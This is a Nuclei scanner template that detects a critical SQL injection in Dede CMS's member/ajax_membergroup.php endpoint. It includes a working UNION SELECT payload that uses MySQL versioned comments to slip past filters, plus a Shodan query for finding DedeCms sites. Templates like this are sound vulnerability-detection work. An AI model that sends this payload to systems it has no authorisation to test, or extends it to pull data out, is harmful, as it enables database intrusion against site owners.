id: dedecms-membergroup-sqli

info:
  name: Dede CMS - SQL Injection
  author: pikpikcu
  severity: critical
  description: Dede CMS contains a SQL injection vulnerability which allows remote unauthenticated users to inject arbitrary SQL statements via the ajax_membergroup.php endpoint and the membergroup parameter.
  reference:
    - http://www.dedeyuan.com/xueyuan/wenti/1244.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
    cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.html:"DedeCms"
    product: dedecms
    vendor: dedecms
  tags: sqli,dedecms,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{num}})+--+@`'`"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{{md5({{num}})}}'
        part: body

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009686c815baab5ed88133a63962255734b06be01c3bf9b3f8debb11020e6647a6022100b1f8d1fa824d43647bbb8bfc138a96859d8469a42b23fc627b1f60e3160554ec:922c64590222798bb761d5b6d8e72950